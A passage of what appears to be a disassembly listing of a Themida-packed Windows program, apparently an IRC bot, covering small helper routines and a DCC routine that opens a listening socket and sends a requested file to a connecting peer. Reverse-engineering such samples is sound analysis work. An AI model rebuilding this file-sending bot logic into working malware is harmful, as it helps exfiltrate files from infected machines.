edx, [esp+30h] push 1 push edx mov ecx, esi call sub_4016B8 push 1 push eax mov ecx, ebp mov dword ptr [esp+6Ch], 1 call sub_4019DD lea ecx, [esp+2Ch] mov edi, eax mov dword ptr [esp+64h], 0FFFFFFFFh call sub_401226 test edi, edi jz loc_40BC78 push edi lea ecx, [esp+18h] call sub_4014D3 mov ebx, 2 push 1 push offset asc_444600 ; " " lea eax, [esp+4Ch] push ebx push eax mov ecx, esi mov [esp+74h], ebx call sub_4011EA push eax push edi mov ecx, ebp mov byte ptr [esp+6Ch], 3 call sub_401F50 lea ecx, [esp+44h] mov [esp+64h], bl call sub_401226 lea ecx, [esp+14h] call sub_4017EE push eax mov ecx, edi call sub_4017EE push eax lea ecx, [edi+1Eh] call sub_4017EE push eax push offset aSSWasS ; "%s = \"%s\" [was \"%s\"]" lea ecx, [esi+69h] call sub_4014DD mov cl, [esi+94h] mov dl, [esi+93h] push eax push ecx push edx push offset byte_4D8075 call sub_401857 add esp, 20h lea ecx, [esp+14h] mov dword ptr [esp+64h], 0FFFFFFFFh call sub_401226 mov al, 1 jmp short loc_40BC7A ; --------------------------------------------------------------------------- loc_40BC78: ; CODE XREF: ___:0040BB40j ; ___:0040BB97j ... xor al, al loc_40BC7A: ; CODE XREF: ___:0040BAEDj ; ___:0040BB80j ... mov ecx, [esp+5Ch] pop edi pop esi pop ebp pop ebx mov large fs:0, ecx add esp, 58h retn 4 ; --------------------------------------------------------------------------- db 90h db 0C0h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_40BD50 proc near ; CODE XREF: sub_401C08j arg_0 = dword ptr 4 mov eax, [esp+arg_0] push esi mov esi, ecx push 0 mov cl, [eax] push 0 mov [esi], cl mov ecx, esi call sub_4021EE sub_40BD50 endp ; --------------------------------------------------------------------------- mov [esi+4], eax mov dword ptr [esi+8], 0 mov eax, esi pop esi retn 4 ; --------------------------------------------------------------------------- db 0Ah dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_40BD90 proc near ; CODE XREF: sub_40155Fj var_C = byte ptr -0Ch var_8 = byte ptr -8 var_4 = byte ptr -4 sub esp, 0Ch lea eax, [esp+0Ch+var_C] push esi mov esi, ecx push eax call sub_401C85 mov ecx, [eax] lea edx, [esp+10h+var_8] push ecx push edx mov ecx, esi call sub_40145B mov eax, [eax] lea ecx, [esp+14h+var_4] push eax push ecx mov ecx, esi call sub_40124E mov edx, [esi+4] mov ecx, esi push edx call sub_401FEB sub_40BD90 endp ; --------------------------------------------------------------------------- xor eax, eax mov [esi+4], eax mov [esi+8], eax pop esi add esp, 0Ch retn ; --------------------------------------------------------------------------- db 0Ah dup(90h) db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_40BE00 proc near ; CODE XREF: sub_40145Bj var_4 = byte ptr -4 arg_0 = dword ptr 4 push ecx mov eax, [ecx+4] push eax call sub_402117 mov ecx, [eax] add esp, 4 push ecx lea ecx, [esp+8+var_4] call sub_4014B0 mov edx, [eax] mov eax, [esp+4+arg_0] mov [eax], edx pop ecx retn 4 sub_40BE00 endp ; --------------------------------------------------------------------------- db 0Bh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_40BE40 proc near ; CODE XREF: sub_401C85j var_4 = byte ptr -4 arg_0 = dword ptr 4 push ecx mov eax, [ecx+4] lea ecx, [esp+4+var_4] push eax call sub_4014B0 mov ecx, [eax] mov eax, [esp+4+arg_0] mov [eax], ecx pop ecx retn 4 sub_40BE40 endp ; --------------------------------------------------------------------------- db 6 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_40BE70 proc near ; CODE XREF: sub_401915j var_4 = byte ptr -4 arg_0 = dword ptr 4 push ecx mov eax, [esp+4+arg_0] push esi mov esi, ecx push eax lea ecx, [esp+0Ch+arg_0] push ecx mov ecx, esi call sub_401C85 mov edx, [eax] lea eax, [esp+0Ch+var_4] push edx push eax mov ecx, esi call sub_401C5D sub_40BE70 endp ; --------------------------------------------------------------------------- pop esi pop ecx retn 4 ; --------------------------------------------------------------------------- db 7 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_40BEB0 proc near ; CODE XREF: sub_401C03j var_C = byte ptr -0Ch var_8 = byte ptr -8 var_4 = byte ptr -4 sub esp, 0Ch lea eax, [esp+0Ch+var_C] push esi mov esi, ecx push eax call sub_401C85 mov ecx, [eax] lea edx, [esp+10h+var_8] push ecx push edx mov ecx, esi call sub_40145B mov eax, [eax] lea ecx, [esp+14h+var_4] push eax push ecx mov ecx, esi call sub_40124E pop esi add esp, 0Ch retn sub_40BEB0 endp ; --------------------------------------------------------------------------- db 0Dh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_40BF00 proc near ; CODE XREF: sub_401546j push esi mov esi, ecx call sub_402158 mov eax, esi pop esi retn sub_40BF00 endp ; --------------------------------------------------------------------------- db 4 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_40BF20 proc near ; CODE XREF: sub_401F78j mov eax, [ecx] push eax call sub_401848 add esp, 4 retn sub_40BF20 endp ; --------------------------------------------------------------------------- db 4 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_40BF40 proc near ; CODE XREF: sub_40133Ej push esi mov esi, ecx mov eax, [esi] push eax call sub_402117 mov ecx, [eax] add esp, 4 mov [esi], ecx mov eax, esi pop esi retn sub_40BF40 endp ; --------------------------------------------------------------------------- db 0Ah dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_40BF70 proc near ; CODE XREF: sub_40136Bj arg_0 = dword ptr 4 mov eax, [esp+arg_0] push eax call sub_401CFD neg al sbb eax, eax inc eax retn 4 sub_40BF70 endp ; --------------------------------------------------------------------------- db 0Eh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_40BFA0 proc near ; CODE XREF: sub_401C5Dj arg_0 = dword ptr 4 arg_4 = byte ptr 8 arg_8 = dword ptr 0Ch push ebx push esi mov esi, ecx push edi lea ecx, [esp+0Ch+arg_4] call sub_4016AE mov edi, eax push edi call sub_40215D mov eax, [eax] add esp, 4 mov ecx, esi push eax push edi call sub_4021EE sub_40BFA0 endp ; --------------------------------------------------------------------------- push edi mov ebx, eax call sub_40215D push edi mov [eax], ebx call sub_40215D mov edi, [eax] push edi call sub_40215D mov ecx, [eax] push ecx call sub_402117 mov edx, [esp+28h] add esp, 10h mov [eax], edi push edx push edi call sub_401848 add esp, 4 mov ecx, esi push eax call sub_401F32 mov ecx, [esi+8] push edi inc ecx mov [esi+8], ecx lea ecx, [esp+1Ch] call sub_4014B0 mov ecx, [eax] mov eax, [esp+10h] pop edi pop esi mov [eax], ecx pop ebx retn 0Ch ; --------------------------------------------------------------------------- db 2 dup(90h) db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_40C040 proc near ; CODE XREF: sub_40124Ej var_8 = byte ptr -8 var_4 = byte ptr -4 arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = byte ptr 0Ch sub esp, 8 lea eax, [esp+8+arg_8] push esi mov esi, ecx push eax lea ecx, [esp+10h+arg_4] call sub_40136B test al, al jz short loc_40C09A loc_40C058: ; CODE XREF: sub_40C040+47j lea ecx, [esp+0Ch+var_8] push 0 push ecx lea ecx, [esp+14h+arg_4] call sub_401B9A mov edx, [eax] lea eax, [esp+0Ch+var_4] push edx push eax mov ecx, esi call sub_40106E ; --------------------------------------------------------------------------- lea ecx, [esp+0Ch+arg_8] push ecx lea ecx, [esp+10h+arg_4] call sub_40136B test al, al jnz short loc_40C058 mov eax, [esp+0Ch+arg_0] mov edx, [esp+0Ch+arg_4] pop esi mov [eax], edx add esp, 8 retn 0Ch ; --------------------------------------------------------------------------- loc_40C09A: ; CODE XREF: sub_40C040+16j mov eax, [esp+0Ch+arg_0] mov ecx, [esp+0Ch+arg_4] pop esi mov [eax], ecx add esp, 8 retn 0Ch sub_40C040 endp ; --------------------------------------------------------------------------- db 5 dup(90h) db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_40C0D0 proc near ; CODE XREF: sub_4021EEj arg_0 = dword ptr 4 arg_4 = dword ptr 8 push esi push edi push 0Ch call sub_401569 sub_40C0D0 endp ; --------------------------------------------------------------------------- mov edi, [esp+0Ch] mov esi, eax test edi, edi jnz short loc_40C0E5 mov edi, esi loc_40C0E5: ; CODE XREF: ___:0040C0E1j push esi call sub_402117 mov [eax], edi mov edi, [esp+14h] add esp, 4 test edi, edi jnz short loc_40C0FA mov edi, esi loc_40C0FA: ; CODE XREF: ___:0040C0F6j push esi call sub_40215D add esp, 4 mov [eax], edi mov eax, esi pop edi pop esi retn 8 ; --------------------------------------------------------------------------- db 4 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_40C120 proc near ; CODE XREF: sub_401FEBj arg_0 = dword ptr 4 mov eax, [esp+arg_0] push 1 push eax call sub_402077 sub_40C120 endp ; --------------------------------------------------------------------------- retn 4 ; --------------------------------------------------------------------------- db 90h db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_40C140 proc near ; CODE XREF: sub_402117j arg_0 = dword ptr 4 mov eax, [esp+arg_0] retn sub_40C140 endp ; --------------------------------------------------------------------------- db 0Bh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_40C160 proc near ; CODE XREF: sub_401848j arg_0 = dword ptr 4 mov eax, [esp+arg_0] add eax, 8 retn sub_40C160 endp ; --------------------------------------------------------------------------- db 8 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_40C180 proc near ; CODE XREF: sub_402158j mov eax, ecx retn sub_40C180 endp ; --------------------------------------------------------------------------- db 0Dh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_40C1A0 proc near ; CODE XREF: sub_4014B0j arg_0 = dword ptr 4 mov eax, [esp+arg_0] push esi mov esi, ecx push eax call sub_40105A mov eax, esi pop esi retn 4 sub_40C1A0 endp ; --------------------------------------------------------------------------- db 0Dh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_40C1D0 proc near ; CODE XREF: sub_401CFDj arg_0 = dword ptr 4 mov edx, [esp+arg_0] mov eax, [ecx] push esi xor ecx, ecx mov esi, [edx] cmp eax, esi pop esi setz cl mov al, cl retn 4 sub_40C1D0 endp ; --------------------------------------------------------------------------- db 0Ah dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_40C200 proc near ; CODE XREF: sub_40106Ej var_4 = byte ptr -4 arg_4 = byte ptr 8 push ecx push ebx push esi push edi mov edi, ecx lea eax, [esp+10h+var_4] push 0 push eax lea ecx, [esp+18h+arg_4] call sub_401B9A mov ecx, eax call sub_4016AE mov esi, eax push esi call sub_402117 push esi mov ebx, eax call sub_40215D mov ecx, [eax] push ecx call sub_402117 mov edx, [ebx] push esi mov [eax], edx call sub_40215D push esi mov ebx, eax call sub_402117 mov eax, [eax] push eax call sub_40215D mov ecx, [ebx] push esi mov [eax], ecx call sub_401848 add esp, 1Ch mov ecx, edi push eax call sub_401221 push esi mov ecx, edi call sub_401FEB sub_40C200 endp ; --------------------------------------------------------------------------- mov eax, [edi+8] mov edx, [esp+18h] dec eax mov [edi+8], eax mov eax, [esp+14h] pop edi pop esi mov [eax], edx pop ebx pop ecx retn 8 ; --------------------------------------------------------------------------- db 0Ch dup(90h) db 30h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_40C2C0 proc near ; CODE XREF: sub_40215Dj arg_0 = dword ptr 4 mov eax, [esp+arg_0] add eax, 4 retn sub_40C2C0 endp ; --------------------------------------------------------------------------- db 8 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_40C2E0 proc near ; CODE XREF: sub_401569j arg_0 = dword ptr 4 mov eax, [esp+arg_0] push 0 push eax call sub_401D2A sub_40C2E0 endp ; --------------------------------------------------------------------------- add esp, 8 retn 4 ; --------------------------------------------------------------------------- db 0Eh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_40C310 proc near ; CODE XREF: sub_402077j arg_0 = dword ptr 4 mov eax, [esp+arg_0] push eax call sub_437AD2 sub_40C310 endp ; --------------------------------------------------------------------------- pop ecx retn 8 ; --------------------------------------------------------------------------- db 2 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_40C330 proc near ; CODE XREF: sub_401F32j arg_0 = dword ptr 4 arg_4 = dword ptr 8 mov eax, [esp+arg_4] mov ecx, [esp+arg_0] push eax push ecx call sub_4011AE add esp, 8 retn 8 sub_40C330 endp ; --------------------------------------------------------------------------- db 0Bh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_40C360 proc near ; CODE XREF: sub_40105Aj arg_0 = dword ptr 4 mov eax, ecx mov ecx, [esp+arg_0] mov [eax], ecx retn 4 sub_40C360 endp ; --------------------------------------------------------------------------- db 5 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_40C380 proc near ; CODE XREF: sub_4016AEj mov eax, [ecx] retn sub_40C380 endp ; --------------------------------------------------------------------------- db 0Dh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_40C3A0 proc near ; CODE XREF: sub_401B9Aj arg_0 = dword ptr 4 push esi mov esi, [ecx] call sub_40133E mov eax, [esp+4+arg_0] mov [eax], esi pop esi retn 8 sub_40C3A0 endp ; --------------------------------------------------------------------------- db 0Eh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_40C3D0 proc near ; CODE XREF: sub_401221j arg_0 = dword ptr 4 mov eax, [esp+arg_0] push eax call j_nullsub_2 pop ecx retn 4 sub_40C3D0 endp ; --------------------------------------------------------------------------- db 2 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_40C3F0 proc near ; CODE XREF: sub_4011AEj arg_0 = dword ptr 4 arg_4 = dword ptr 8 mov eax, [esp+arg_0] push eax push 4 call sub_4011CC add esp, 8 test eax, eax jz short locret_40C40B mov ecx, [esp+arg_4] mov edx, [ecx] mov [eax], edx locret_40C40B: ; CODE XREF: sub_40C3F0+11j retn sub_40C3F0 endp ; --------------------------------------------------------------------------- db 4 dup(90h) db 10h dup(0CCh) ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_2. PRESS KEYPAD "+" TO EXPAND] db 0Fh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_40C440 proc near ; CODE XREF: sub_401BF9j var_24 = byte ptr -24h var_4 = dword ptr -4 push 0FFFFFFFFh push offset SEH_40C440 mov eax, large fs:0 push eax mov large fs:0, esp sub esp, 18h push esi push 0 push 4 push 0Eh push 5 push 13h push 4Fh push 3 push 3 lea eax, [esp+48h+var_24] push 4 mov esi, ecx push eax call sub_4019C4 add esp, 28h push esi mov ecx, eax mov [esp+2Ch+var_4], 0 call sub_40168B add esi, 4 push eax push esi mov ecx, offset dword_449118 call sub_40159B sub_40C440 endp ; --------------------------------------------------------------------------- lea ecx, [esp+4] mov dword ptr [esp+24h], 0FFFFFFFFh call sub_401226 mov ecx, [esp+1Ch] pop esi mov large fs:0, ecx add esp, 24h retn ; --------------------------------------------------------------------------- db 6 dup(90h) db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_40C4E0 proc near ; CODE XREF: sub_40171Cj var_AB4 = dword ptr -0AB4h var_AAC = dword ptr -0AACh var_AA8 = dword ptr -0AA8h var_AA4 = dword ptr -0AA4h var_AA0 = dword ptr -0AA0h var_A9C = byte ptr -0A9Ch var_A98 = byte ptr -0A98h var_A94 = dword ptr -0A94h var_A90 = dword ptr -0A90h var_A8C = dword ptr -0A8Ch var_A88 = dword ptr -0A88h var_A84 = dword ptr -0A84h var_A78 = byte ptr -0A78h var_A74 = dword ptr -0A74h var_A70 = byte ptr -0A70h var_A6C = byte ptr -0A6Ch var_A5C = byte ptr -0A5Ch var_A54 = byte ptr -0A54h var_A3C = byte ptr -0A3Ch var_A38 = byte ptr -0A38h var_A24 = byte ptr -0A24h var_A1C = dword ptr -0A1Ch var_A18 = dword ptr -0A18h var_910 = byte ptr -910h var_710 = byte ptr -710h var_510 = byte ptr -510h var_40C = byte ptr -40Ch var_C = dword ptr -0Ch var_4 = dword ptr -4 arg_0 = dword ptr 4 mov eax, large fs:0 push 0FFFFFFFFh push offset SEH_40C4E0 push eax mov large fs:0, esp sub esp, 0AA0h add ecx, 4 push ebx push ebp push esi push edi call sub_4014DD mov ebp, [esp+0ABCh+arg_0] push eax lea ecx, [ebp+7Eh] call sub_4012EE test eax, eax jnz loc_40CA2E lea ecx, [esp+0ABCh+var_A78] call sub_401091 push 1 push offset asc_444600 ; " " lea eax, [esp+0AC4h+var_A3C] xor esi, esi push 1 push eax mov ecx, ebp mov [esp+0ACCh+var_4], esi call sub_4011EA push eax lea ecx, [esp+0AC0h+var_A70] mov byte ptr [esp+0AC0h+var_4], 1 call sub_40202C lea ecx, [esp+0ABCh+var_A3C] mov byte ptr [esp+0ABCh+var_4], 0 call sub_401226 push esi push 1 push 2 mov [esp+0AC8h+var_AA8], esi mov [esp+0AC8h+var_AA4], esi mov [esp+0AC8h+var_A90], esi nop call near ptr 71AB3B91h mov ebx, eax cmp ebx, 0FFFFFFFFh mov [esp+0ABCh+var_AAC], ebx jnz short loc_40C5AC lea ecx, [esp+0ABCh+var_710] push offset aDccFailedToCre ; "[DCC]: Failed to create socket." push ecx nop call sub_5F76F7 add esp, 8 jmp loc_40C9D5 ; --------------------------------------------------------------------------- loc_40C5AC: ; CODE XREF: sub_40C4E0+AFj xor edx, edx push esi mov [esp+0AC0h+var_AA0], edx mov word ptr [esp+0AC0h+var_AA0], 2 mov dword ptr [esp+0AC0h+var_A9C], edx mov dword ptr [esp+0AC0h+var_A98], edx mov [esp+0AC0h+var_A94], edx nop call near ptr 71AB2B66h mov word ptr [esp+0ABCh+var_AA0+2], ax lea eax, [esp+0ABCh+var_AA0] push 10h push eax push ebx mov dword ptr [esp+0AC8h+var_A9C], esi call near ptr 71AB3E00h nop test eax, eax jz short loc_40C5FA lea ecx, [ebp+69h] call sub_4014DD push eax push offset aDccFailedToBin ; "dcc: failed to bind socket" jmp loc_40C6A0 ; --------------------------------------------------------------------------- loc_40C5FA: ; CODE XREF: sub_40C4E0+105j lea eax, [esp+0ABCh+var_A88] lea ecx, [esp+0ABCh+var_AA0] push eax push ecx push ebx mov [esp+0AC8h+var_A88], 10h nop call near ptr 71AB951Eh mov edx, [esp+0ABCh+var_AA0+2] push edx call near ptr 71AB2B66h nop lea ecx, [esp+0ABCh+var_A70] mov [esp+0ABCh+var_A8C], eax call sub_4014DD mov edi, eax or ecx, 0FFFFFFFFh xor eax, eax lea edx, [esp+0ABCh+var_910] repne scasb not ecx sub edi, ecx mov eax, ecx mov esi, edi mov edi, edx shr ecx, 2 rep movsd mov ecx, eax and ecx, 3 xor edx, edx rep movsb loc_40C653: ; CODE XREF: sub_40C4E0+1A3j mov al, [esp+edx+0ABCh+var_910] cmp al, 20h jnz short loc_40C665 mov eax, 5Fh jmp short loc_40C668 ; --------------------------------------------------------------------------- loc_40C665: ; CODE XREF: sub_40C4E0+17Cj movsx eax, al loc_40C668: ; CODE XREF: sub_40C4E0+183j mov [esp+edx+0ABCh+var_510], al lea edi, [esp+0ABCh+var_910] or ecx, 0FFFFFFFFh xor eax, eax inc edx repne scasb not ecx dec ecx cmp edx, ecx jbe short loc_40C653 push 1 push ebx nop call near ptr 71AB88D3h test eax, eax jz short loc_40C6BD lea ecx, [ebp+69h] call sub_4014DD push eax push offset aDccFailedToOpe ; "dcc: failed to open socket" loc_40C6A0: ; CODE XREF: sub_40C4E0+115j mov cl, [ebp+94h] mov dl, [ebp+93h] push ecx push edx mov ecx, offset byte_4D8075 call sub_401118 jmp loc_40C9CF ; --------------------------------------------------------------------------- loc_40C6BD: ; CODE XREF: sub_40C4E0+1B0j push 0 push 0 push 3 push 0 push 1 push 80000000h lea ecx, [esp+0AD4h+var_A70] call sub_4017EE push eax nop call near ptr 2880000h mov esi, eax cmp esi, 0FFFFFFFFh jnz short loc_40C724 lea ecx, [ebp+69h] call sub_4014DD mov cl, [ebp+93h] push eax mov al, [ebp+94h] push offset aDccFileDoesnTE ; "dcc: file doesn't exist" push eax push ecx mov ecx, offset byte_4D8075 call sub_401118 lea edx, [esp+0ABCh+var_710] push offset aDccFileDoesn_0 ; "[DCC]: File doesn't exist." push edx nop call sub_5F76F7 add esp, 8 jmp loc_40C9CF ; --------------------------------------------------------------------------- loc_40C724: ; CODE XREF: sub_40C4E0+201j push 0 push esi nop call near ptr 2870C69h lea ecx, [esp+0ABCh+var_A54] mov ebx, eax call sub_40142E mov eax, [esp+0ABCh+var_A8C] push ebx and eax, 0FFFFh mov byte ptr [esp+0AC0h+var_4], 2 push eax mov eax, dword_4D808D push eax call sub_401E10 add esp, 4 push eax call near ptr 71AB2BF4h nop push eax nop call near ptr 71AB2BC0h push eax lea ecx, [esp+0AD0h+var_A78] call sub_4017EE push eax lea ecx, [esp+0AD4h+var_A5C] push offset dword_444A00 push ecx call sub_40102D add esp, 18h lea ecx, [ebp+15h] call sub_40168B push eax lea ecx, [esp+0AC8h+var_A5C] call sub_4014DD mov dl, [ebp+94h] push eax mov al, [ebp+93h] push edx push eax mov ecx, offset byte_4D8075 call sub_401118 mov edi, [esp+0AC4h+var_AB4] lea ecx, [esp+0AC4h+var_A88] push ecx push 0 lea edx, [esp+0ACCh+var_A1C] push 0 push edx push 0 mov [esp+0AD8h+var_A88], 3Ch mov [esp+0AD8h+var_A84], 0 mov [esp+0AD8h+var_A18], edi mov [esp+0AD8h+var_A1C], 1 nop call near ptr 71AB2DC0h test eax, eax jg short loc_40C81D lea ecx, [ebp+69h] call sub_4014DD mov cl, [ebp+93h] push eax mov al, [ebp+94h] push offset aDccTimeout ; "dcc: timeout" push eax push ecx mov ecx, offset byte_4D8075 call sub_401118 jmp loc_40C9BA ; --------------------------------------------------------------------------- loc_40C81D: ; CODE XREF: sub_40C4E0+310j lea edx, [esp+0ABCh+var_A84] lea eax, [esp+0ABCh+var_A24] push edx push eax push edi mov [esp+0AC8h+var_A84], 10h nop call near ptr 71AC1028h cmp eax, 0FFFFFFFFh mov [esp+0ABCh+var_A74], eax jnz short loc_40C86D lea ecx, [ebp+69h] call sub_4014DD mov cl, [ebp+94h] mov dl, [ebp+93h] push eax push offset aDccUnableToOpe ; "dcc: unable to open socket" push ecx push edx mov ecx, offset byte_4D8075 call sub_401118 jmp loc_40C9BA ; --------------------------------------------------------------------------- loc_40C86D: ; CODE XREF: sub_40C4E0+360j push edi call near ptr 71AB9639h nop test ebx, ebx jz loc_40C925 loc_40C87C: ; CODE XREF: sub_40C4E0+438j mov ebp, 400h cmp ebx, ebp jge short loc_40C887 mov ebp, ebx loc_40C887: ; CODE XREF: sub_40C4E0+3A3j mov edx, ebx xor eax, eax neg edx push 2 mov ecx, 100h lea edi, [esp+0AC0h+var_40C] push eax push edx push esi rep stosd call near ptr 2870000h nop lea eax, [esp+0ABCh+var_A90] push 0 push eax lea ecx, [esp+0AC4h+var_40C] push ebp push ecx push esi nop call near ptr 2860000h mov eax, [esp+0ABCh+var_A74] push 0 lea edx, [esp+0AC0h+var_40C] push ebp push edx push eax nop call near ptr 71AB428Ah mov ecx, [esp+0ABCh+var_AA8] mov ebp, [esp+0ABCh+var_AA4] mov edi, eax push 0 cdq add ecx, eax push 400h mov [esp+0AC4h+var_AA8], ecx lea ecx, [esp+0AC4h+var_40C] adc ebp, edx mov edx, [esp+0AC4h+var_A74] push ecx push edx mov [esp+0ACCh+var_AA4], ebp nop call near ptr 71AB615Ah cmp eax, 1 jl loc_40C9EE cmp edi, 1 jl loc_40C9EE sub ebx, edi jnz loc_40C87C mov ebp, [esp+0ABCh+arg_0] loc_40C925: ; CODE XREF: sub_40C4E0+396j push esi nop call near ptr 2850BF4h lea ecx, [esp+0AB8h+var_A38] call sub_40142E mov eax, [esp+0AB8h+var_AA0] mov ecx, [esp+0AB8h+var_AA4] push eax push ecx lea ecx, [esp+0AC0h+var_A6C] mov byte ptr [esp+0AC0h], 3 call sub_4014DD mov edx, [esp+0AC0h+var_A1C] push eax push edx nop call near ptr 71AB3F41h push eax lea eax, [esp+0ACCh+var_A3C] push offset aDccCompleteToS ; "dcc: complete to %s, file: %s, (%d byte"... push eax call sub_40102D add esp, 18h lea ecx, [ebp+69h] call sub_4014DD push eax lea ecx, [esp+0AC0h+var_A3C] call sub_4014DD mov cl, [ebp+94h] mov dl, [ebp+93h] push eax push ecx push edx mov ecx, offset byte_4D8075 call sub_401118 lea ecx, [esp+0ABCh+var_A3C] mov byte ptr [esp+0ABCh+var_4], 2 call sub_401226 loc_40C9BA: ; CODE XREF: sub_40C4E0+338j ; sub_40C4E0+388j lea ecx, [esp+0ABCh+var_A54] mov byte ptr [esp+0ABCh+var_4], 0 call sub_401226 mov ebx, [esp+0ABCh+var_AAC] loc_40C9CF: ; CODE XREF: sub_40C4E0+1D8j ; sub_40C4E0+23Fj xor esi, esi cmp ebx, esi jbe short loc_40C9DC loc_40C9D5: ; CODE XREF: sub_40C4E0+C7j push ebx nop call near ptr 71AB9639h loc_40C9DC: ; CODE XREF: sub_40C4E0+4F3j mov eax, [esp+0ABCh+var_A74] push eax nop call near ptr 71AB9639h push esi nop call near ptr 2850505h loc_40C9EE: ; CODE XREF: sub_40C4E0+427j ; sub_40C4E0+430j mov esi, [esp+0ABCh+arg_0] lea ecx, [esi+69h] call sub_4014DD mov cl, [esi+93h] push eax mov al, [esi+94h] push offset aDccSocketError ; "dcc: socket error" push eax push ecx mov ecx, offset byte_4D8075 call sub_401118 mov edx, [esp+0ABCh+var_A74] push edx call near ptr 71AB9639h nop push 1 call near ptr 2850505h nop loc_40CA2E: ; CODE XREF: sub_40C4E0+39j mov ecx, [esp+0ABCh+var_C] pop edi pop esi pop ebp xor al, al pop ebx mov large fs:0, ecx add esp, 0AACh retn 4 sub_40C4E0 endp ; --------------------------------------------------------------------------- db 5 dup(90h) db 160h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_40CBB0 proc near ; CODE XREF: sub_401091j push esi mov esi, ecx lea ecx, [esi+8] call sub_40142E mov eax, esi pop esi retn sub_40CBB0 endp ; --------------------------------------------------------------------------- db 90h db 10h dup(0CCh) ; --------------------------------------------------------------------------- loc_40CBD0: ; CODE XREF: ___:loc_401B13j add ecx, 8 jmp sub_401226 ; --------------------------------------------------------------------------- db 8 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_40CBF0 proc near ; CODE XREF: sub_402063j var_24 = byte ptr -24h var_4 = dword ptr -4 push 0FFFFFFFFh push offset SEH_40CBF0 mov eax, large fs:0 push eax mov large fs:0, esp sub esp, 18h push esi push 0 push 5 push 0Ch push 9 lea eax, [esp+38h+var_24] push 6 mov esi, ecx push eax loc_40CC1A: ; DATA XREF: Themida_:00594228o call sub_4019C4 add esp, 18h push esi mov ecx, eax mov [esp+2Ch+var_4], 0 call sub_4017EE add esi, 4 push eax push esi mov ecx, offset dword_449118 call sub_40159B sub_40CBF0 endp ; --------------------------------------------------------------------------- lea ecx, [esp+4] mov dword ptr [esp+24h], 0FFFFFFFFh call sub_401226 mov ecx, [esp+1Ch] pop esi mov large fs:0, ecx add esp, 24h retn ; --------------------------------------------------------------------------- db 0Eh dup(90h) db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_40CC90 proc near ; CODE XREF: sub_401BB8j var_279 = byte ptr -279h var_278 = byte ptr -278h var_260 = dword ptr -260h var_25C = dword ptr -25Ch var_258 = byte ptr -258h var_247 = byte ptr -247h var_232 = byte ptr -232h var_221 = dword ptr -221h var_21D = dword ptr -21Dh var_219 = dword ptr -219h var_215 = dword ptr -215h var_211 = dword ptr -211h var_20C = byte ptr -20Ch var_208 = byte ptr -208h var_C = dword ptr -0Ch var_4 = dword ptr -4 arg_0 = dword ptr 4 mov eax, large fs:0 push 0FFFFFFFFh push offset SEH_40CC90 push eax mov large fs:0, esp sub esp, 270h add ecx, 4 push esi call sub_4014DD mov esi, [esp+280h+arg_0] push eax lea ecx, [esi+7Eh] call sub_4012EE test eax, eax jnz loc_40CE91 push ebx lea ecx, [esp+284h+var_260] call sub_40199C lea eax, [esi+2Ah] xor ebx, ebx push eax lea ecx, [esp+288h+var_25C] mov [esp+288h+var_4], ebx mov [esp+288h+var_260], ebx call sub_40202C push 1 push offset asc_444600 ; " " lea ecx, [esp+28Ch+var_278] push 2 push ecx mov ecx, esi call sub_4011EA mov ecx, eax mov byte ptr [esp+284h+var_4], 1 call sub_4017EE push eax lea ecx, [esp+288h+var_247] call sub_401A9B lea ecx, [esp+284h+var_278] mov byte ptr [esp+284h+var_4], bl call sub_401226 push 1 push offset asc_444600 ; " " lea edx, [esp+28Ch+var_278] push 3 push edx mov ecx, esi call sub_4011EA mov ecx, eax mov byte ptr [esp+284h+var_4], 2 call sub_4017EE push eax lea ecx, [esp+288h+var_232] call sub_401A9B lea ecx, [esp+284h+var_278] mov byte ptr [esp+284h+var_4], bl call sub_401226 mov edx, [esp+284h+var_221] xor eax, eax mov al, [esi+94h] xor ecx, ecx mov cl, [esi+93h] mov [esp+284h+var_219], eax lea eax, [esp+284h+var_278] mov 